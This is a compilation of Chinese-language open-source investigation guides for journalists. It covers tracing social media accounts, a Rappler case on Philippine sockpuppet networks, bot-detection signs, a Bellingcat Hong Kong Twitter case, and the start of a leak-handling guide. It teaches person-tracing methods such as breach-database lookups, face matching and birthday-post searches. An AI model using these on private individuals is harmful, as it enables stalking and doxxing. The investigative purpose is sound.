使用这些工具也可能会得到很多 “假阳性” 结果，所以您可以从它们的结果开始调查，然后继续采取其他验证手段。

「图」

「图」

当您找到了一个您认为可能属于调查对象的用户名或电子邮件时，就可以把它插入一个在线工具，如 namechk 或 namecheckr，它可以同时在多个平台上寻找目标用户名。

这些工具的设计目的是让营销人员能够轻松地查看他们计划注册的用户名是否在各个平台上被可用过，但它们也有助于检查您正在调查的用户名是否在其他地方也存在。显然，仅仅因为一个用户名在多个平台上注册过，并不意味着这些账户都属于同一个真实的个人，但这是一个跨平台查询的好起点。

「图」

「图」

如果想进一步检查用户名，还有 haveibeenpwned.com 和 Dehashed.com 可用，这两个网站会搜索数据泄露的用户信息，可以快速验证一个电子邮件地址，并提供新的线索。

照片

用户名并不总是足够，没有什么比照片更有说服力的了。资料照片是验证一个人在不同账户中身份的另一种方式。

谷歌的反向图像搜索很好，但通常其他搜索引擎—— 特别是俄罗斯的Yandex—— 可能会提供更好的结果。您可以使用 Reveye Chrome 扩展，它允许您右键点击图像，并在多个平台上搜索匹配的图像，包括谷歌、必应、Yandex 和 Tineye，这样会很高效。该图像搜索扩展也有一个整洁的捕获功能，允许您搜索图中图。

- 对于反向图像搜索的不同工具对比《图像验证方法的能力对比》

「图」

「图」

「图」

「图」

当然，反向图像搜索也有问题。上面提到的搜索引擎在查找 Twitter 上的图片方面做得很差，而且对于从 Instagram 和 Facebook 等网站翻出的结果来说，也是毫无用处。

有些时候同一个人的不同角度和不同光线下拍摄的照片可能“判若两人”，基于照片识别特征，比如痣或面部毛发等可能会有帮助；比如 Face＋＋ 这样的面部识别工具，它允许您上传两张照片，然后给出一个概率，关于这些照片是否属于同一个人。在实践中，该工具能够正面识别出一个人相隔10年的照片。它还能在 Twitter 和 Facebook 上的社交媒体资料照片中识别出目标人的同事和朋友。

- 更多人脸识别搜索工具《新生情报工具（1）》；《新生情报工

具（19）》
- 不要错过《针对人的追踪调查：开源情报思考方法（1）》

「图」

「图」

「图」

「图」

「图」

「图」

如果您在追逐调查trolls或骗子，您可能会发现他们在遮挡个人资料照片方面下了更多功夫，或者他们可能会使用假的照片。比如这里的案例《追踪网络水军团队：如何识别机器学习制造的假人脸—案例》。这种情况下，编辑照片和翻转照片可能会帮助逆向工程。

不仅仅是个人资料照片可以成为线索。因为很多人依旧倾向于分享自己引以为傲的东西的照片。于是您可以通过 关联一辆汽车、一个房屋或一个宠物等事物的照片来识别目标人。从这个意义上说，照片成了连接账户和账户背后的人的一种手段，使您能够围绕目标建立起一个调查网络。这是调查社交媒体账户时的核心做法。

例如，我们要确认一名在俄亥俄州代顿市一家酒吧外枪杀9人的男子的社交媒体账号。他的推特账号提供了他的政治意识形态的线索，但他的ID @iamthespookster 很独特，与当局公布的真名并不相像。事实上，他的受害者之一是他的亲人，一个变性人，他的名字不在公共记录中，而且还没有向公开，这使得识别关键人物的工作更加复杂。但是，在他和他家人的资料中，都有一只狗的形象出现，这只宠物狗是作为他的变性兄弟未公开的账户的横幅图片出现的。

「图」

「图」

「图」

「图」

「图」

「图」

狗并不是前一张图片中唯一有用的细节。那张图片来自俄亥俄州枪手的父亲，帮助调查者核实了他的个人账户和属于他家人的账户。

如果您在 Facebook 或 Twitter 上有一个账户，追踪者就可以知道您的出生日期，即使您没有在自己的个人资料上分享它或自己发布它。由于在突发事件情况下，出生日期往往是警方提供的首批识别性信息之一，因此验证社交媒体账户的可靠方法是在可疑账户上滚动到有关月份和日期，并寻找生日祝福相关的信息。即使自己的页面是空的，往往爸爸妈妈们（比如上面的 Connor Betts）也会发布关于孩子的生日。

推特也是如此，因为谁不爱过生日呢？（如果您不想被追踪，还是不要在互联网上过生日比较好。在需要标注生日的地方用一个假的日期，也不要让任何认识您的人知道您的"分身账户"）

「图」

「图」

「图」

「图」

要想在 Twitter 上要找到一个可以识别身份的帖子就更容易了，因为它的高级搜索工具是所有社交平台中提供的最好的工具之一。所有认识您的人都可能宣布您的生日，他们是好心人，但正是他们，为追踪者提供了重要线索。

- 不要错过具体方法介绍《深挖推特：提供技巧、工具和平台》
- 《调查记者如何从社交媒体上挖掘情报？》
- 《社交网站上进行新闻收集和监视的基本指南》
- 《推特标签讲述的故事：解码秘密（8）》

「图」

「图」

生日只是其中一个例子。婚礼、葬礼、节日、周年纪念日、毕业典礼

—— 几乎每一个重要的人生标志都可能会在社交媒体上被庆祝。这些都为追踪和调查一个目标账户提供了机会。

您还可以用 Facebook 搜索工具搜索这些关键词和通过其他过滤器，比如 whopostedwhat.com。

人际关系

您可以通过一个人在社交媒体上的周边人来判断目标人—— 通过考察与目标人在网上互动的人，来了解目标人的生活和倾向。

任何社交媒体平台都不希望您“孤独一人”，与您联系的人/您想要联系的人越多，这些平台就越赚钱，因为您会在此停留更长的时间，并且平台可以轻而易举获得您的关系网络—— 也就是影响力网络，这类数据很值钱的。所以当一个人第一次注册账号的时候，平台的相关算法就会启动，受注册人手机里的联系人列表、注册人出现在哪些现有账户的联系人列表中、注册人的位置等等因素的影响，平台就会推荐此人关注一些账户。

正因为这个道理，作为追踪调查，去看看目标账号*最早*的关注者和好友，总是很有启发意义的。TweetBeaver 是一个很好的工具，可以调查大型账户之间的联系，也可以下载小型账户的时间线和收藏夹等东西。对于较大的数据集，您可以依赖于一个有API访问权限的开发者。

「图」

「图」

就拿“Columbia Bugle”来说吧，这是一个很热门的极右翼匿名推特账户，它自诩被特朗普的账号转发了两次。

「图」

「图」

「图」

「图」

Max Delarge 是一个自称是 Columbia Bugle 编辑的账号，最早关注的是圣地亚哥特有的新闻来源和圣地亚哥特有的体育账号。由于

Columbia Bugle 的许多推文都包含了圣地亚哥特朗普集会和加州大学圣地亚哥分校活动的视频，所以可以推定这个账号背后的人就住在圣地亚哥附近。

「图」

「图」

「图」

「图」

「图」

「图」

对于一个新的调查，您可以从目标人的 Twitter 历史开始，并在时间上向前推动。您可以在一个自动滚动器 chrome 扩展的协助下操作，或者可以使用 Twitter 的高级搜索，将时间范围限制在目标账户最初存在的前几个月。

「图」

「图」

奇怪的是，此帐户的前六个月显示零推文。

「图」

「图」

这说明 Columbia Bugle 背后的人可能已经删除了他之前的推文。为了找出原因，您可以调整搜索方式 —— 去寻找所有提到 Columbia Bugle 的推文，而不是该账号本身的推文。

「图」

「图」

这些对话证实了 ColumbiaBugle 删除了第一年的推文，但并没有说这是为什么，而且与该账号最先互动的账号也没有提供很多线索。

要想找到最近被删除的推文，可以搜索谷歌的缓存；旧的被删除的推

文有时也可以在互联网档案馆的 Wayback Machine 或其他档案馆中找到。关于搜索已删除内容的方法见下面：

- 一个综合指南《如何快速找到你想要的东西：追踪数字证据的小技巧》
- 技巧《巧用互联网，以找到您最想要的信息：搜索思维作为基本功》
- 《如何快速找到你想要的东西：追踪数字证据的小技巧》

手动搜索存档网站 archive.is 翻出了几条被删除的推文，显示 ColumbiaBugle 参加了一个大学生在校园里写亲特朗普的信息的活动。要查看有人可能从该账户存档的所有推文，您可以通过域名加账户名进行搜索，在账户名后使用星号，比如这样：

「图」

「图」

「图」

「图」

警惕假账户

每个平台都有自己的特征，搜索功能和在不同新闻情况下的实用性。但对社交媒体账号要非常谨慎。有一群人以欺骗调查者为乐。尤其是在突发新闻的情况下，总会诞生一些假的账号，很多这类冒充账号都会发一些不祥的或威胁性的帖子，目的是吸引调查者，甚至操纵政治，比如下面这些：

- 《享誉盛名的”五角大楼官员”事实上是一个假人，如何揭露”他”？（第一部分）》
- 《合谋的欺骗：虚假的五角大楼官员是如何被发明出来的？（第二部分）》
- 《一个惊人的案例：积极的反政府抗议者居然是个假人》
- 《揭露假记者：一个”深度造假”信息战的案例，提醒您旧有的验证技巧正在过时》

更普通的比如下面这个假的 Instagram 账号，使用了一个大规模枪击案枪手的名字，是在加州 Saugus 高中发生枪击事件后创建的。它通过推特上的截图获得了关注，但 BuzzFeed 新闻后来透露该账户并不

属于真正的枪手。

「图」

「图」

您应该尽可能通过各方面进行确认，而不是为了发布调查结果而匆忙相信自己的观察。

最后，也许是最重要的一点是：完成这些步骤并没有一个可适用于一切状况的“正确”顺序。通常情况下您都会打开非常多的标签页，这并不是源于您的笨拙，但熟练后您就能更快找到最适合的路线。

📌 创建一个您可以重复使用的模式/框架可能很重要，安全地记下自己的每一步发现，并在撞进死胡同后能够迅速从“来路”返回去，重新选择另一个方案。具体做法见《开源调查应该是一种心智》。

下面是一个案例，关于在 Facebook 上追踪政府信息战。

2016年秋天，投资分析师 John Victorino 给 Rappler 发来一份名单，他说有26个来自菲律宾的可疑 Facebook 账户。调查组织开始对这些账户进行监控，很快就发现他们的个人资料中列出的细节都是假的。在数周的调查过程中，这26个账户让调查者发现了一个更广泛的网页、群组和虚假账户的信息战网络。

这些账户以及他们所关联的一组页面和群组，最终被 Facebook 删除。此案例还启发 Rappler 创建了 Sharktank，这是一个监测 Facebook 上信息流动情况的工具。这项工作构成了一系列关于 Facebook 上的宣传和信息操作如何影响菲律宾民主的调查报道的基础。

以下是该调查组织的做法。

验证身份，暴露袜子木偶

调查这组账户的第一步是尝试验证它们是否与真人有关。这一部分需要老式的事实核查技巧，首先创建一个电子表格来跟踪与账户相关的细节，包括他们列出的个人资料、他们点赞的页面和其他相关信息。

例如，Facebook 用户 Mutya Bautista 声称自己是菲律宾最大的电视网 ABS-CBN 的“软件分析师”。Rappler 向 ABS-CBN 核实，ABS-CBN 证实并没有此人为他们工作。

「图」

「图」

使用反向图像搜索工具，发现这26个账号中很多都使用了名人或网络上搜索到的个人资料照片。

例如，Bautista 使用了韩国流行音乐团体 Girl’s Generation 艺人润娥的照片。下图所示的 Lily Lopez 账户使用了韩国女星金莎朗的形象。

「图」

「图」

另一个账号 Luvimin Cancio 使用了一个色情网站 softcorecams.com 上的图片作为个人资料照片。通过反向图像搜索工具 TinEye 确定该网站是照片的来源。

「图」

「图」

这些帐户在个人资料上还使用了类似的封面照片。下方的 Jasmin De La Torre 帐户的封面照片与 Lily Lopez 的相同。

「图」

「图」

这26个账号还有一个奇怪的地方—— 他们所在的群组比他们的 “朋友” 还多。

这很不寻常，因为在菲律宾，大多数人都有朋友和家人在国外，Facebook 基本上是人们与家人和朋友保持联系的沟通渠道。所以菲律宾用户往往拥有许多朋友，而不是成为大量群组的成员。

Bautista 当时公开的朋友名单显示，她只有17个朋友。事实上在2016年发现的这26个账户中，每个账户的好友数字都不到50个。

不过，Bautista 是一百多个群组的成员，包括为当时的副总统候选人小费迪南德·马科斯（Ferdinand Marcos Jr.）竞选的团体，一些海外菲律宾人的社区，以及买卖团体，每个团体的成员从几万到几十万不

等。

这些团体在 Facebook 上总共有230多万成员。以下是一些最大的群组列表，包括他们的粉丝数。此外，还包括 Bautista 在这些群组中发布的帖子列表。

「图」

「图」

通过综合所有这些观察和相关数据，调查者得出结论，这些账户都是袜子木偶：使用虚构身份以支持特定观点。

亲马科斯的网络

从这26个账户的第一张个人资料照片和早期帖子的相关日期可以看出，它们似乎是在2015年最后一个季度集中创建的，2016年5月就是选举。调查者还发现，这些账户一直在宣传否认1970年代马科斯政权下发生的被广泛记录的戒严法权力滥用行为的内容。这些账号还攻击这个前独裁者的儿子和副总统候选人的竞争对手。

在下面的例子中，用户 Mutya Bautista 分享了一个现已被否定的说法，即 Bongbong 的竞争对手—— 当时新宣布的副总统 Leni Robredo—— 在与她的第二任丈夫已故的内务与地方政务部长 Jesse Robredo 结婚之前，曾与一名活动家结婚。Bautista 将标题为 “Leni Robredo 在遇到 Jesse 之前，曾与一名反马科斯的人结婚？” 的帖子发布到名为 “亲马科斯国际势力” 的群组，并发表评论。

另一个名字为 Raden Alfaro Payas 的可疑账户在同一天向名为 “Bongbong Marcos 忠实的 Facebook 战士” 的群组分享了同一篇文章，标题完全相同，内容一字不差，直到最后一个标点符号。

「图」

「图」

虚假账号经常被用来在群组中发送垃圾链接，有时可以发现他们在发送垃圾链接时重复使用相同的文字。当时还可以使用 Facebook 图谱搜索来查看群组中用户的公开帖子。然而 Facebook 在 2019年关闭了许多图谱搜索功能，包括这个功能。解决方案见《搜人、照片、视频、位置 …… 大全：新的FB”图谱搜索”替代方案》。

连接的网站

通过分析这些虚假账号分享的内容，能够看到这26个袜子木偶都在推广同一组网站：Okay Dito（OKD2.com）、Ask Philippines（askphilippines.com）和 why0why.com 等。

OKD2.com 发布了一些骗局和其他有利于马科斯家族和总统罗德里戈·杜特尔特的宣传材料。它现在伪装成一个广告网站。但在2016年9月，调查者发现该网站的内容在 Facebook 上被分享了1.19万次，这部分要归功于该僵尸网络。

通过这些网站，调查者最终追踪到了这26个账户的潜在僵尸牧民：一个名叫 Raden Alfaro Payas 的人。

追踪僵尸牧民

OKD2.com 目前的域名注册记录是私密的。该网站也没有披露其编辑或所有者，没有任何联系信息。

幸运的是，调查者能够使用历史域名记录来确定一个与该网站相关的人。使用 domaintools.com，可以看到，2015年7月，OKD2.com 是以一个叫 Raden Payas 的人的名字注册的，他是巴丹加斯州塔瑙安市的居民。追踪还发现，OKD2.com 与这26个账户所共享的其他网站，如 askphilippines.com 和 why0why.com 共享相同的谷歌 AdSense ID。

通过查看这些网站上的网页源代码，并寻找一系列以字母 “ca-pub-” 开头的号码来识别这些网站的 AdSense ID。每个 Google AdSense 账户都有一个以 “ca-pub-” 开头的唯一ID，与账户链接的网站的每个页面上都会有这个代码。

除了域名记录，还可以看到这26个账户中有一个叫 Raden Alfaro Payas（非官方）的账户，还发现他名下有一个用户名为 “realradenpayas” 的账号，该账号与一些僵尸账户进行了互动。

例如，他评论了 Luvimin Cancio 的一篇文章，该文章链接到一篇否认马科斯统治下的戒严暴行的报道。Payas 的 “真实” 账号说，他在戒严时期上高中，他 “从未听说” 有人被杀或遭受酷刑。

「图」

「图」

最后

这26个虚假账户及其影响力激发了调查组织创建其 Sharktank 数据库，并从公开的 Facebook 群组和页面中自动收集数据。截至2019年8月，已经跟踪了大约4万个拥有数百万粉丝的页面。

起初是对一组可疑账户进行的调查，后来变成了对一个由数千个虚假和真实账户、群组和页面组成的信息战网络的持续研究，这些账户、团体和页面传播虚假信息和宣传，扭曲现实政治，削弱了一个国家的民主。〇

—— 未完的待续 ——

Case Study: How investigating a set of Facebook accounts revealed a coordinated effort to spread propaganda in the Philippines

原文

发现不正常的活动：从追踪到验证的思考方式（2）- iYouPort

开始调查

信息战是这些寡头社交网络最常见和最具危险性的用例这一

如果您不能百分百肯定一个账户是水军，那就不要指出它，万一被倒打一耙，您的信誉将严重受损，甚至让您的调查目标背道而驰。

指称水军的关键证据是证明某个或某群账户受雇发表特定言论、操纵舆论和推高虚假的热点，如果没有受雇的证据，您就不如绕开水军的指称，而是强调“协调性不真实行为”。尤其是，很多机器人并非完全自动化，它们是人类和自动化相结合的状态，了解这点很重要。

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：《没有固定模式，但总会有一些迹象：从追踪到验证的思考方式（1）》。

我们有专门汇总信息战揭露和分析的专栏，也专门介绍过《如何识别水军》、《如何追踪水军幕后推手》、《如何识别造假账户》、《可视化信息战报告》、以及 《水军的目的是什么、他们如何工作》。本文将简要解释这个问题，并提供一些工具、和一个香港的案例。

「图」

「图」

机器人是一种软件应用程序，可以自动执行人类（僵尸牧民）分配给它的任务。一个机器人做的是好事还是坏事，完全取决于它的“主人”的意图。

在公开辩论中最常被提及的机器人是社交媒体机器人，它们活跃在包括 Facebook、Twitter 和 LinkedIn 在内的几乎所有寡头社交媒体平

台上。在这些平台上，它们可以被用来传播特定的意识形态信息，目的往往是为了让不知情的人们看起来好像“公众”对某个特定的话题、人物、内容或标签的支持率很高，其实是虚构的。

社交媒体机器人往往分为三大类：预定机器人、观察者机器人、和放大器机器人。了解您对哪种机器人感兴趣很重要，因为每种类型都有特定的目的。随着每个目的的实现，它们会出现不同的语言和交流模式。在虚假信息的背景下，调查者最感兴趣的是研究“放大器机器人”。

📌 放大器机器人的存在正是为了放大虚构的热点和传播特定立场的内容，目的是塑造/操纵网络舆论。它们也可以用来让个人和组织看起来比实际拥有更多的粉丝。

这种机器人的力量来自于数量。一个由放大器机器人组成的网络可以操纵热门标签、传播特定链接或视觉内容，或者结伙在网上大量发送垃圾信息或骚扰目标个人，试图诋毁目标人或使目标人看起来有争议或受到围攻。

通过大量的合作，放大器机器人看起来更加“合法”，因此他们可以操纵网络舆论环境。

传播虚假信息的放大器机器人主要通过标签活动或以链接、视频、备忘录、照片、或其他内容类型的形式分享新闻。标签活动包括机器人不断地在推特上协调性发布相同的标签，或一组标签。其目的通常是欺骗 **Twitter** 的趋势算法，将特定的标签添加到趋势话题列表中。

- 不要错过《推特标签讲述的故事：解码秘密（8）》

购买和创建机器人是比较容易的。无数网站都会以几百美元甚至更低的价格卖给你自己的机器人军队。但一个复杂的、类似于人类的僵尸网络的创建和维护要难得多。

开发者和研究人员已经创建了许多工具来帮助评估一个账户是否可能是机器人。这些工具在收集信息方面可能是有用的，但一个工具的得分绝不是确定的，绝不应成为任何报告或结论的唯一依据。

最著名的工具之一是 Botometer，由印第安纳大学的研究人员创建。根据各种标准，它计算出一个分数，说明一个 Twitter 账户及其追随者是机器人的可能性有多大。

对于 Reddit，Jason Skowronski 创建了一个实时仪表盘，它就会尝

试评估评论是由机器人、trolls 还是人类做出的。

「图」

「图」

虽然也有例外，但大多数公开的僵尸检测工具都是为 Twitter 创建的。原因是许多社交网络 —— 包括 Facebook —— 限制其API的方式，使公众无法分析和使用其数据来创建这种公共调查工具。

📌 如前所述，僵尸检测工具是一个很好的起点，但它们不应该是您唯一的证据。它们的准确度不同的原因之一是，根本没有一个通用的标准列表来100%肯定地识别机器人。

📌 有一些指标可以参考，并怀疑为机器人，但并没有哪个单独的指标能实现定性，这点很重要，具体介绍参见《如何分辨：机器人、僵尸网络和 trolls》

要确定虚假信息活动是由机器人还是由人类进行的，他们是否有动机或受雇发布大量关于特定主题的内容，这往往是一个挑战。例如，BBC发现，在2019年11月发布类似的 Facebook 信息，放大关于鲍里斯·约翰逊的有利内容的账户，其实是由假装成社交机器人的人类管理的。

您也可能会遇到这种网络机器人，即：部分自动化、部分由人类管理的社交媒体账户，它们表现出自然和非真实行为的结合。

📌 调查者必须避免在没有适当证据和分析的情况下，将可疑账户错误地贴上机器人的标签，因为一个错误的指控可能会破坏您的可信度，尤其是，对您的调查目标可能适得其反，以色列的例子就很说明这点，见《舆论战》。

处理这些不同类型的机器人、网络机器人和过度活跃的人类账户的方法之一是：将调查重点放在监控所有不真实行为或类似机器人的行为上，而不是试图只识别一种类型的可疑账户。

例如，Bot Sentinel 提供了一个公开的数据库，其中包含了（美国）表现出可疑行为的 Twitter 账户。他们的创建者决定收集“反复违反Twitter规则的账户”，而不是专门搜索社交机器人。

「图」

「图」

调查不真实行为的步骤

一般来说，建议您采用以下方法来识别社交网络上的不真实和潜在的自动化行为：

1. 手动检查账户的可疑行为。

2. 结合使用工具或更具技术性的网络分析。

3. 调查他们的活动、发布内容和与他们互动的其他账户的关系网络。结合传统的调查技术，如尝试联系他们或他们声称认识的人。

4. 向专门研究机器人和非真实活动的外部专家咨询。

要了解如何手动评估可疑账户，重要的是要了解 Twitter 或其他社交网络上自动账户的典型警告信号。

每个社交媒体机器人都需要一个身份。僵尸创建者希望使他们的账户尽可能地看起来令人信服，但建立和维护看起来可信的个人资料需要时间，特别是如果目标是运行一个大型僵尸网络的话。一个人拥有的账户越多，创建和管理这些账户以使其看起来真实的方式就越耗时。这就是这些虚假账户容易出现纰漏的地方。在许多情况下，它们的创建者只做了最起码的工作来建立一个个人资料档案，一个好的调查员可以检测到这一点。

📌 以下是一些需要注意的地方。

1、没有真实的个人资料照片

偷来的个人资料照片或根本没有个人资料照片都可能是不真实的指标。由于僵尸创建者想要同时创建许多账户，他们必须获得一系列照片，并经常从其他网站复制这些照片。然而，这样做会造成不一致的情况。例如，一个账户的个人资料照片是男性，但用户名却暗示女性是该账户的所有者，这可能是一个信号，表明有些事不对。为了绕过这个问题，许多僵尸创建者选择卡通或动物作为个人资料照片，但这种策略再次成为另一种模式，用来检测不真实或僵尸账户。

比如这里《追踪网络水军团队：如何识别机器学习制造的假人脸—案例》。

2、自动创建的用户名

其次，要注意名字和用户名。每一个 Twitter ID都是独一无二的，这意味着您想要的用户名往往已经被别人抢走了。这对普通人来说只是一个不便，但当有人试图在短时间内创建50、500或5000个账户时，就会成为一个真正的挑战。

僵尸创建者经常部署一种策略来帮助他们轻松找到未被使用过的用户名。具有以下标准的脚本被用来自动创建用户名：

「图」

「图」

📌 当您发现多个 Twitter 帐户的ID由相同数量的字符和数字组成时，您可以在每个帐户的关注者列表中手动搜索具有该模式的更多帐户，以潜在地识别僵尸网络。

「图」

「图」

在这个例子中，这些账户还有另一些共同点：它们都是在2019年9月创建的。当与其他信号相结合时，这可能是一个指标，表明这些账户都是由同一个人在同一时间完成创建的。

3、账户活动不符合账户年龄

如果一个新注册的账户已经有比较多的粉丝，或者它在短时间内发布了大量的推文，您应该更加怀疑。如果一个老账号尽管非常活跃，但粉丝却很少，也是同样的道理。

「图」

「图」

如果您遇到这样的账号，可以更深入地分析该账号的推文活跃度。将位于页面顶部的推文数量，除以该账号的活跃天数。例如，以一个截至2019年11月11日有3,489条推文的账号为例，该账号创建于2019年8月15日。将3,489除以89（它的活跃天数），就可以得到每天39.2条推文。

从该账户生命周期内的推文数量来看，这个数字是否显得太高、不现实或无法由人类维持？

4、可疑的推文模式

另一个需要研究的因素是发布推文的节奏。人类可能会对他们通常发推文的日子和时间表现出轻微的偏好，但一个人不太可能只在周一、周二和周三持续发推文，而在一周的其他日子里长期保持完全沉默。

如果您想看到一个特定账户的这些模式的可视化，请查看 Luca Hammer 打造的账户分析工具。

「图」

「图」

5、将可视化作为调查的一部分

为了更好地了解整个僵尸网络的活动情况，您可以使用 Gephi 这样的可视化平台。

比如下面这样，通过观察大量Twitter账户之间连接关系的可视化表现，您可以注意到图片左侧的结构（红色）很突出：

「图」

「图」

通过放大该区域，可以查看哪些 Twitter 帐户属于此特定结构：

「图」

「图」

每一个红色的圆圈代表一个Twitter账号，线条是它们之间的关系。通常情况下，较小的账号围绕着中间一个较大的圆圈排列，这意味着它们都会与影响力中心账号进行互动。然而，上面结构中的账号之间并没有这样的互动关系，这就预示了异常账户的行为。

下面是香港的案例。本案例是来自*Bellingcat* 的开源调查员 *Johanna Wild* 的工作。

2019年8月，Twitter 宣布删除数千个账户，称其帮助传播关于香港抗议活动的虚假信息，是 “国家支持的协调性行动” 的一部分。很快，Facebook 和 YouTube 发布声明称，他们也删除了从事有关抗议活动的协调性不真实行为的账户。

与 Facebook 和 YouTube 不同的是，Twitter 公布了其删除的账户名单，为进一步调查该信息战活动提供了机会。

发现可疑活动

调查者首先搜索了关于抗议活动的相关标签。简单的关键词搜索 “香港骚乱” 就会出现很多推文，有些包含多个标签。

调查者想把重点放在亲中国的账户和内容上，因为这些账户和内容是 Twitter 已经发现的从事不真实活动的账户和内容。首先尝试了一些关键词的表述，比如：

“香港的耻辱” -警察 -政府

这个搜索产生的结果包含 “香港耻辱” 的短语，但不包含警察或政府的字眼。目标是过滤掉 “香港警察可耻” 等推文，保留 “香港抗议者可耻” 等字眼的推文。其他搜索关键词是 “香港蟑螂” 和 “香港暴徒”，这是亲北京推特账号对抗议者的常见描述。

在使用这些和其他搜索词后，调查者检查了关于香港的最近期推文，这些推文获得了许多转发和点赞。您可以简单地通过添加 “min_retweets:500” 或 “min_faves:500” 来过滤参与度。这将只得到至少500次转发或点赞的推文。这是推特高级搜索，具体方法见这里《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》；还有这里《如何发现社交媒体上的机器人账户？- 12种方法》；以及工具介绍《深挖推特：提供技巧、工具和平台》

然后看一下与这些推文互动的 **Twitter** 账号。例如，有这样一条推文，来自验证用户胡锡进，他是中国国营媒体《环球时报》中英文版的主编：

「图」

「图」

单击每一个 “转推” 和 “点赞” 超链接，以显示执行相关操作的帐户列

表：

「图」

「图」

假设是，不真实的亲北京账号会放大中国知名国家媒体人员的推文。在这种情况下，很多用户名脱颖而出，因为他们的名字后面都有一个八位数字，这表明这些用户在注册时接受了Twitter生成的默认用户名。这就需要进一步研究他们的行为和特点。

「图」

「图」

📌 当检查这些账户时，可以看到他们的粉丝数量很少，关注的账户很少，没有提供任何识别性简介，正在转发其他人的推文，几乎没有发送自己的推文，并且几乎只宣传反对香港抗议活动的内容。

调查者还注意到，这些账号的创建日期非常接近，大约都是在2019年8月创建。因为Twitter公布了它删除的亲中国账户的名单，调查者可以检查这些账户的创建日期，看看它们是否呈现出类似的趋势。

在 Luigi Gubello 的帮助下，调查者使用了一个简单的 Python 脚本来识别数据中的模式（您可以在他的GitHub上找到代码，更多关于他的信息在这里）。下图显示，被删除的账户都是近几个月内创建的，这与调查的一组活跃账户的特征一致。

「图」

「图」

进程自动化

现在调查者已经确定了表现出可疑特征和行为的推文样本，想进行更大规模的分析。这需要一些自动化。一位Bellingcat研讨会的参与者有软件开发的背景，所以他写了一小段 JavaScript 代码来执行两个功能：提取转发或点赞特定推文的账户的用户名，然后快速过滤用户名列表，使其只关注符合某种模式的用户名。他过滤的模式是一个名字后面跟着一个八位数字。

通过在Chrome开发者工具控制台中加载这个脚本，它直接在浏览器

中提供网络开发者工具，每当点击特定推文的“转发”或“点赞”超链接时，它就会在后台运行。然后它会返回高亮显示符合该模式的用户名的结果。您可以在这里看看这是什么样子的。

现在可以使用这个脚本来检查与其他突出的亲中国推文互动的账户。在香港抗议活动中，华裔女演员刘亦菲分享了一条支持警方的微博，这导致社交网络上一些人呼吁抵制她的新电影“花木兰”。然而，调查者也注意到，许多微博账号使用 #支持木兰# 的标签支持这位女演员和她的电影。调查者决定用上述脚本来研究转发或点赞支持木兰推文的用户。

「图」

「图」

「图」

「图」

调查者收集了适合目标模式的帐户名，然后确定了它们的创建日期。这表明大多数帐户都是在8月16日创建的。

「图」

「图」

只需将鼠标悬停在个人资料的“joined”信息上即可收集帐户的确切创建日期和时间，如下所示：

「图」

「图」

有了面前的一组帐户，调查者开始对其共享内容的手动分析。很快就很清楚，这个名单上的帐户全都在推特上赞成刘亦菲并反对香港示威者。

「图」

「图」

调查名单中的许多账户在8月17日或18日之后变得不再活跃，这再次

显示出协调性行动的特征。不知道它们休眠的确切原因，但有可能是Twitter要求创作者登录时进行额外的验证步骤，而它们无法遵守。另一种可能是，它们只是停止了推文，因为在 Twitter 开始暂停亲中国的账户后，僵尸创建者不想引起进一步的怀疑。

然而，几个月后，其中几个账号又开始活跃起来。这一次，他们传播的是关于刘亦菲和她的电影 “花木兰” 的正面信息。

「图」

「图」

调查者还发现带有其他用户名模式或创建日期的亲 “花木兰” 帐户不断传播着有利于刘亦菲的消息。为此，调查者搜索了包含 #SupportMulan 或 #liuyifei 等主题标签的推文：

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

似乎这些账号改变了策略，从批评香港抗议者到宣传女演员和她的电影，也许是为了避免被 Twitter 封杀。

📌 该案例研究显示了如何结合人工和自动技术来快速发现可疑的 Twitter 账户信息战网络。它还说明，即使在一个平台宣布关闭某些账户后，继续寻找其他可疑账户和活动也是有用的。

借此，您能够使用一些简单的搜索技术和账户细节分析来识别一组更大的虚假账户网络，这些账户显示出从事协调性非真实活动的强烈指标。〇

Case study: Finding evidence of automated Twitter activity during the Hong Kong protests

—— 未完待续 ——

原文

如何处理巴拿马文件那种规模的泄漏？：开始调查（2）- 介绍一些工具 - iYouPort

开始调查

本系列依旧是框架式指南，用具体案例呈现思考方式，相关细节的操作方法此前都有过介绍；所以，如果您的社区/团队使用本套指南作为培训材料，请将其中关联的链接作为知识点单独讲解

「图」

「图」

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：《保持敏锐需要一些技巧：开始调查（1）- 从嗅觉到行动力》。

关于本系列的简介，见下图：

「图」

「图」

本文来自德国记者 Frederik Obermaier 的经验。

从瑞士泄密到巴拿马文件，如今的透明度革命越来越强大，对于调查者来说，处理大量数据的工作越来越频繁。

调查记者和编辑 Frederik Obermaier 对此了如指掌。他和他的同事巴斯蒂安·奥伯迈尔（Bastian Obermayer）发起了“巴拿马文件”（Panama Papers）调查项目，这是一个关于迄今为止向记者泄露的最大规模数据集的项目。这也是记者们最大规模的合作，涉及80个国家的350多名记者，由国际调查记者联盟协调。

处理如此大的泄密事件是很复杂的，但如何在第一时间获得这些数据？

能见度高

作为吹哨记者，要想获得泄密，意味着您本人必须是可见的，在某种程度上就像您在互联网上、您在公开讨论中发言、您站在街头。简单说您必须展示自己，否则线人或吹哨人就找不到您。

还记得斯诺登是如何找到 Glenn 的吗？因为他读到了大量 Glenn 撰写的报告、博客文章和视频访谈，他知道这个记者的立场、工作领域、尤其是人格，可以帮助他公正地发表泄漏信息。

下面是 Obermaier 的视频讲述：

他的第一个建议是建立自己的网页。

“我的网页就像一张名片一样”，他说。

📌 在自己的网页上，吹哨记者应该列出所有的联络方式、自己工作用的电话号码、工作用的个人电子邮件地址、邮寄地址（如果有人想邮寄硬盘的话）、公钥、以及使用的所有加密通信服务。

“一旦有新的吹哨出现，我就会创建一个新的账户，因为我不想强迫吹哨人采用某种沟通方式”，Obermaier 说。这点也是技巧之一。相关技巧详见《(公民)调查记者如何与吹哨人合作：7点提示》。

这样做的缺点是，您的联系方式会被公开，所以人们可以在晚上给您打电话，也许会发送烦人的信息，这种情况是很普遍的。然而，这是值得的。“每10个侮辱你的人中你就能得到一个伟大的吹哨，为了最好的揭露，一切都是值得的”，Obermaier 说。

要问的问题

在得到一个吹哨后，调查者首先应该问的第一个问题就是：数据集是否真实。如果证明真实，则继续检查它是否符合公众利益。如果符合公众利益，继续检查数据集除了源头保护外，是否有任何附加条件，比如只发布某些文件或在特定时间发布。

